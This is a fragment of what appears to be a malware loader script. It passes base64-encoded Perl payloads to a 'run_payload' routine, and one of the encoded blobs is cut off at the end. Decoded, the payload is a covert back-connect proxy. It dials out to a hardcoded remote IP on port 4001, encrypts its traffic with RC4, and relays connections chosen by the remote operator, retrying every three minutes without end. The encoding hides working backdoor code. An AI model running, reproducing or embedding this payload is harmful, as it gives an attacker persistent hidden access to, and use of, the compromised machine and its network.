JyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_9.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU4JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQk